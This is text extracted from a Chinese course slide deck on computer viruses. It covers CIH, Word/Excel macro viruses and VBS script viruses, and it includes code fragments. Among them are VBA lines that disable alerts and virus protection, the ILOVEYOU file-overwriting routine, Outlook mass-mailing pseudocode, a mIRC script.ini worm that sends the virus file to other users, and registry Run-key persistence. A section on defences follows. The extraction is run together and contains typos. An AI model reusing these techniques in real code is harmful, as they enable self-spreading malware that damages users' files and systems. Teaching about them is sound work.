第71页,课件共164页,创作于2023年2月5写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间。(4)CIH病毒的发作CIHv1.4在每年4月26日发作。病毒从CMOS的70、71端口取出系统当前日期进行判断:movax,0708ut70,alinal,71 ;取当前系统月份xchgal,ahout70,alinal,71 ;取当前系统r日xorax,0426 ;判断… ;jz病毒发作程序第72页,课件共164页,创作于2023年2月2.3.4宏病毒及其关键技术1.宏病毒及其发作宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编写的可执行程序,用户使用宏可以完成一些重复性的工作。例如,用户可以通过宏定义一个击键序列,然后就可以通过敲击功能键或特定的组合键来启动该宏,以减少在键盘上的直接操作。据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一。宏病毒所以如此猖獗,主要原因有下列一些:第73页,课件共164页,创作于2023年2月(1)宏病毒感染的是文档而不是代码的可执行部分宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境。Word从6.0开始,Excel从4.0开始,数据文件中就包含了宏语言功能。而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输。这就为宏病毒的传播提高了方便途径。(2)宏病毒与平台无关应用极为普遍的Word和Excel是宏病毒的主要载体,所有支持Word和Excel的硬件平台和操作系统都会感染宏病毒。
第74页,课件共164页,创作于2023年2月(3)宏病毒中有一种自动执行宏,它不需要用户启动,只要出现相应的执行事件,就可以自动运行。常见的自动执行宏有表1.1所示的一些。表1.1Windows的自动执行宏
WordExcelOffice97/2000AutoOpenAuto_OpenDocument_OpenAutoCloseAuto_CloseDocument_CloseAutoExcec
AutoExit
Document_NeweAutoNew
Auto_Activate
Auto_Deactivate
第75页,课件共164页,创作于2023年2月
不仅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有强大的宏语言。自Word97和Excel97之后,Microsoft逐渐将宏语言统一到VBA(VisualBASICforApplication)上。除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权。下面是一个在Normal模板中的AutoNew宏。当用户新打开一个Word时,就会弹出一个提示“新建文件自动执行宏示例”的窗口。SubAutoNew()MsgBox“新建文件自动执行宏示例”,0,“宏病毒测试”EndSub第76页,课件共164页,创作于2023年2月2.宏病毒的隐藏措施(1)关闭有关提示和容易引起怀疑的操作,如OnErrorResumeNext‘出错时不提示,继续执行下面语句Application.DisplayAlerts=wdAlertsNone‘不弹出警告窗口Application.DisplayStatusBar=False‘不显示状态栏,以免显示宏的运行状态Application.EnableCancelKey=wdCancelDisabled‘不可通过ESC结束当前运行的宏Application.ScreenUpdating=False‘关闭屏幕刷新,以免看到病毒引起的速度变慢Options.SaveNormalPrompt=False‘若公共模块被修改,不显示提示窗口直接保存Options.VirusProtection=False‘关闭病毒保护:若运行前包含宏,不提示(2)屏蔽一些菜单功能(如“工具|宏”等),以免被用户手工发现。
第77页,课件共164页,创作于2023年2月3.宏病毒的基本传播过程(1)将宏病毒依附与一个Word文档;(2)通过电子邮件或移动存储设备,把该文档输入到一个系统;(3)一个被染毒的.doc文件被打开后,会通过Auto类宏来激活病毒,接着感染诸如normal.dot或powerup.dot等全局模板文件,得到系统的“永久”控制权。(4)宏把自身拷贝到全局宏文件中;(5)下一次启动Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。
第78页,课件共164页,创作于2023年2月2.3.5脚本病毒及其关键技术1.脚本病毒的特点脚本是嵌入到数据文档中执行一个任务的一组指令。最典型的脚本是嵌入到网页中的脚本,它们可以实现网站的点击计数器、格式处理器、实时时钟、鼠标效果、搜索引擎等功能。脚本由脚本语言描述。常用的脚本语言有:VBScript、Jscript、JavaScript、PerScript等。并且,脚本不是由CPU直接执行,而是有某个程序解释,如嵌入在HTML文件(网页)中的脚本是由浏览器解释执行的。脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(regisry)等文件中,主要通过电子邮件和网页传播。
第79页,课件共164页,创作于2023年2月脚本病毒中最有代表性的是用VBScript编写的VBS病毒。VBS病毒具有如下一些特点:·
编写简单、生产容易;·
传播范围广、感染力强、破坏力大;·
欺骗性强、变种多。
第80页,课件共164页,创作于2023年2月2.脚本病毒的感染机制脚本病毒直接通过自我复制感染文件,病毒中的绝大部分代码可以直接附加在同类程序中间。例如,新欢乐时光病毒是将自己的代码附加在.htm的尾部,并在顶部加入一条调用病毒代码的语句;而爱虫病毒则直接生成一个文件的副本,将病毒代码嵌入其中,同时将原文件名作为病毒文件的文件名前缀,以vbs作为后缀。
第81页,课件共164页,创作于2023年2月下面是爱虫病毒的文件感染部分的关键代码:setfso=createobject(“scripting.filesystemobject”)‘创建一个文件对象setself=fso.opentextfile(wscript.sriptfullname,1)’读当前打开文件(病毒文件)vbscopy=self.readall’读取全部病毒代码到字符串变量vbscopy┇setap=fso.opentextfile(目标文件.path,2,true) ’写打开目标文件,为写病毒代码做准备ap.writevbscopy ‘用病毒代码覆盖目标文件中的代码ap.closesetcop=fso.getfile(目标文件.path)‘得到目标文件路径cop.copy(目标文件.path&“.vbs) ‘创建以.vbs为后缀的病毒文件目标文件.delete(true) ‘删除目标文件第82页,课件共164页,创作于2023年2月3.脚本病毒的文件搜索寻找满足条件的感染对象,是病毒的一个重要机能。下面是一个设计的非常巧妙的VBS病毒的搜索函数。它采用递归算法遍历整个分区的目录和文件。subscan(folder_) ‘搜索函数scan定义onerrorresumenext ‘跳过错误,防止弹出错误窗口setfolder_=fso.getfoder(folder_) setfiles=folder_.files ‘取当前目录的所有文件集合
foreachfileinfiles‘对文件集合中的每个文件进行测试
ext=fso.GetExtensionName(file) ‘获取文件名后缀
ext=lcase(ext) ‘小写转换后缀名
ifext=“mp3”then ‘以“mp3”后缀作为条件
Wscript.echo(file) ‘用来模拟病毒感染或破坏模块
endif next setsubfolders=folder-.subfoldersforeachsubfolderinsubfolders‘递归调用scan(),搜索其他目录
scan(subfolder) nextendsub第83页,课件共164页,创作于2023年2月4.脚本病毒的传播手段(1)通过电子邮件传播通过电子邮件传播的关键是获得合法的电子邮件地址。下面是一个VBS病毒的传播算法,它是直接取Outlook地址簿中的邮件地址。
第84页,课件共164页,创作于2023年2月setMAPI对象=Outlook对象.GetNameSpace(“MAPI”)//获取MAPI的名字空间set地址对象=MAPI对象.地址表(i) //获取地址表的个数for地址对象表中的每一个地址
获取每个地址表的E-Mail地址数
for地址表中的每个E-Mail地址
获取一个邮件地址对象实例
获取具体E-Mail地址
填入收信人地址
写入邮件邮件标题
写入邮件内容
定义邮件附件
发送邮件
信件提交后删除
写病毒标记,以免重复感染
nextnext设置
MAPI对象=空设置
Outlook=空第85页,课件共164页,创作于2023年2月(2)通过局域网共享传播在VBS中有一个对象可以实现局域网邻居共享文件夹的搜索与文件操作。利用该对象可以实现病毒的传播。下面是一个简化的传播算法。创建一个网络对象创建一个网络打印机连接列表显示每台网络打印机连接情况创建一个网络共享连接列表寻找目标驱动器感染第86页,课件共164页,创作于2023年2月(3)通过网页文件传播这里主要介绍通过htm感染的机理。脚本病毒通过htm网页传播依赖于FSO(FileSystemObject,文件系统对象)和WSH(WindowsScriptHost,Windows脚本宿主)对象。WSH可以理解为内嵌于Windows操作系统中的脚本语言工作环境。它较多地考虑了“非交互性脚本“的需要,使脚本功能非常强大,例如:·
实现网络驱动器·
检索并修改环境变量·
处理注册表项·
对文件系统进行操作·
管理员用其支持功能创建简单的登陆脚本·
编写脚本管理活动目录第87页,课件共164页,创作于2023年2月
这些功能主要通过内置的WSH对象实现。WSH共有14个内置对象,它们分别具有不同的功能。脚本病毒通过htm网页传播的关键是使FSO和WSH对象能够在网页内运行。
通常,要先对COM进行初始化,在获取相应的组件对象后,病毒就可以正确地使用FSO和WSH两个对象。下面给出一段病毒代码。其中{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}(WindowsScriptHostshellObject){0D43FE01-F093-11CF-8940-00A0C9054228}(FileSystemObject)是注册表中WSH和FSO的两个主键。SetAppleObject=document.applets(“KJ_guest”)AppleObject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)AppleObject.createInstance() ‘创建一个实例SetWsShell=AppleObject()AppleObject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)AppleObject.createInstance() ‘创建一个实例SetFSO=AppleObject()
第88页,课件共164页,创作于2023年2月(4)通过IRC聊天通道传播这里仅以MIRC()为例来说明病毒通过IRC传播的过程。由于控制IRC会话的命令存放在Script.ini中。并且Script.ini文件中的命令是可以自动执行的。因此,IRC病毒传播的关键是在Script.ini文件中写一些代码,利用某些命令给通道中的其他用户传送病毒文件,使得用户使用被感染的通道时,都会收到一份病毒文件。下面是一般通过IRC传播病毒代码。第89页,课件共164页,创作于2023年2月Dimmircsetfso=CreateObject(‘Seripting.FileSystemObject”) setmirc=fso.CreateTextFile(“C:\mirc\script.ini”) ‘创建文件
script.ini fso.CopyFileWscript.ScriptFullName,“C:\mirc\attachmemnt.vbs”,True ‘将病毒文件备份到attachment.vbs mirc.WriteLine“[script]” mirc.WriteLine“n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:\mirc\attachment.vbs}”
‘
利用命令/ddcsend$nickattachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
第90页,课件共164页,创作于2023年2月5.脚本病毒获得控制权的方法获取控制权的能力是病毒的关键能力,下面介绍脚本病毒获取控制权的几种典型方法。(1)修改注册表Windows启动时会自动加载一些程序。这些程序是下面的项下的键值所指向的程序:HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run利用这一特点,病毒也可以在此项下加一个键值,让这个键值指向病毒程序,这样就能保证在每次计算机启动时病毒能取得控制权。(2)修改执行方式例如新欢乐时光将dll的执行方式修改为wscript.exe,也可以将exe文件的映射指向病毒代码。
第91页,课件共164页,创作于2023年2月(3)引诱用户执行主要办法是让用户产生错觉。如病毒发送附件时,采用双后缀文件名,使用户产生错觉。例如,使用文件名xxxx.jpg.vbs。由于默认情况下不显示后缀,所以这个双后缀文件被显示为xxxx.jpg,用户将其误认为是图片文件而去点击,执行了病毒程序。(4)desktop.ini和folder.htt配合使用desktop.ini和folder.htt可用以配置活动桌面,并用以自定义文件夹。如果用户的目录中含有着两个文件,并且病毒感染了folder.htt,则当用户进入该目录时,就会触发folder.htt中的病毒代码。
第92页,课件共164页,创作于2023年2月6.VBS脚本病毒的弱点(1)VBS脚本病毒的运行,往往要用到一个对象:FileSystemObject。(2)VBS脚本病毒运行时需要其关联程序wscript.exe的支持。(3)VBS代码要通过WindowsAcriptHost解释执行。(4)通过网页传播的病毒需要ActiveX的支持。(5)通过邮件传播的病毒需要OutlookExpress的自动发送邮件功能的支持。这些弱点可以被用于病毒的防治。例如,禁用对象FileSystemObject
用regsvr32scrrun.dll/u命令,或者直接查找scrrun.dll文件加以删除或改名)可以有防范作用。
第93页,课件共164页,创作于2023年2月2.3.6计算机病毒技巧俗话说,道高一尺,魔高一丈。计算机病毒也随着反病毒技术的发展不断演变、升级。下面是计算机病毒在技术方面的一些技巧。1.增强隐秘性为了使病毒能长期潜伏,病毒就要增强自己的隐秘性。下面是几种增强隐秘性的技术。(1)避开修改中断变量:早期的病毒程序都要直接修改中断服务子程序,以控制常用中断功能。因此,许多反病毒软件都对系统的中断向量表进行监视,一旦发现任何对系统内存中断向量表进行修改的操作,就会怀疑有病毒在活动。针对这一反病毒技术,病毒程序就要避免修改中断向量表时留下痕迹。
第94页,课件共164页,创作于2023年2月例如,有的病毒程序,改修改中断向量的控制方式为通过修改中断服务子程序,来获得系统控制权。一种方法是前面介绍过的通过修改COM文件首指针的方法修改中断服务程序,基本步骤为:·
从中断向量表中动态获得中断服务子程序入口;·
将该入口开始的3~5字节的指令内容保存到病毒体工作区;·
修改原入口处的指令为转移指令,转向病毒的中断服务子程序入口;·
执行完病毒子程序后,再转向正常的服务子程序入口。
第95页,课件共164页,创作于2023年2月(2)谋求在内存的合法性
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026年东营市文化旅游体育发展集团有限公司公开招聘工作人员(舞蹈演员)考试参考题库及答案解析
- 2026年德清县教师招聘考试参考题库及答案解析
- 2026年和林格尔县教师招聘考试备考试题及答案解析
- 2026年甘肃省金昌市人民政府研究室选调文秘笔试参考题库及答案解析
- 中国建设银行青岛市分行2027届校园招聘笔试模拟试题及答案解析
- 2026中国科学院合肥物质院健康所表观组学与智能解析团队诚聘英才笔试参考题库及答案解析
- 2026清华附中福州学校招聘教务干事的考试参考题库及答案解析
- 内蒙古赤峰市巴林左旗2025-2026学年九年级上学期期末考试物理试题(含答案)
- 2026藤县城市建设投资开发有限公司公开遴选工作人员5人笔试备考试题及答案解析
- 2026三亚市吉阳区南新医院公开考核招聘编外人员5人笔试备考题库及答案解析
- 2026年流感预防知识宣传测试题及答案
- 中英文产品研发项目合同协议
- 《内科学》名词解释
- 辽宁省东北育才高中2025 - 2026学年度上学期高一上学期10月考语文试卷
- 人教PEP版三年级英语上册第一单元Unit 1 Making friends 单元试卷(含答案含听力原文)
- 胎盘早剥教学课件
- 农业机械化智能化发展现状下的农业人才培养模式研究报告
- CJ/T 454-2014城镇供水水量计量仪表的配备和管理通则
- 企业安全管理培训课件
- 教学能力比赛教学设计与实施-以“电子产品制作与调试”课程为例
- 正规的个人借款协议范本
评论
0/150
提交评论